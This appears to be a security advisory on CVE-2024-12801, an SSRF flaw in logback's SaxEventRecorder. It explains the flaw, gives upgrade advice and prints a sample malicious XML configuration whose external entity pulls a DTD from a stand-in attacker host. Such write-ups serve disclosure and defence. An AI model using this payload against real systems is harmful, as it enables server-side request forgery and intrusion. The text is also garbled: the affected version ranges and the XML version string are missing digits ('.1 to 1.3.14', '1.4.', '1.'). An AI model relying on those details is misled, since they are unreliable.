A critical vulnerability has been discovered in the SaxEventRecorder module by QOS.CH logback, affecting versions .1 to 1.3.14 and 1.4. to 1.5.12 on the Java platform. The vulnerability, dubbed as CVE-2024-12801, is a Server-Side Request Forgery (SSRF) that allows an attacker to forge requests by compromising logback configuration files in XML. This could potentially grant unauthorized access or modify sensitive information on the affected system.

Original References

- CVE-2024-12801: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12801
- QOS.CH Logback Security Advisory: https://logback.qos.ch/security.html

Exploit Details

This vulnerability occurs due to improper handling of DOCTYPE declarations in XML configuration files. An attacker can exploit the SSRF vulnerability by modifying the DOCTYPE declaration in the XML configuration files. This would allow the attacker to execute malicious requests on the server-side.

In order to better understand the vulnerability, let's look at a sample code snippet that demonstrates the exploit:

<?xml version="1."?>
<!DOCTYPE configuration [
 <!ENTITY % remote SYSTEM "http://attacker-site.com/attacker.dtd">;
 %remote;
]>
<configuration>
  <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
    <encoder>
      <pattern>%logger{15} - %message%n%xException{5}</pattern>
    </encoder>
  </appender>
  <root level="DEBUG">
    <appender-ref ref="STDOUT" />
  </root>
</configuration>

In the above example, the attacker controls the "attacker-site.com" domain and hosts a malicious DTD file (attacker.dtd) on this domain. This DTD file is retrieved and loaded by the vulnerable SaxEventRecorder library, which will, in turn, execute the malicious requests present in the file.

Mitigation

The immediate solution to mitigate this vulnerability is to upgrade logback to a secured version: 1.3.15 or 1.5.13 or later.

- QOS.CH Logback Download page: https://logback.qos.ch/download.html
- Logback GitHub Release page: https://github.com/qos-ch/logback/releases

Additionally, administrators can also implement security measures to prevent unauthorized access or tampering of logback XML configuration files. This will help minimize the risk of SSRF exploits. Security measures may include limiting user access rights, implementing file integrity checks, input sanitization, and continuous monitoring of log files for any suspicious activity.

In conclusion, users and administrators relying on affected versions of the SaxEventRecorder by QOS.CH logback should take immediate action to upgrade their software and implement security best practices. As this vulnerability can lead to severe consequences, staying up-to-date with security patches and routine monitoring is vital to maintaining the integrity of systems using the Java platform.

Timeline

Published on: 12/19/2024 17:15:08 UTC
Last modified on: 01/03/2025 14:15:24 UTC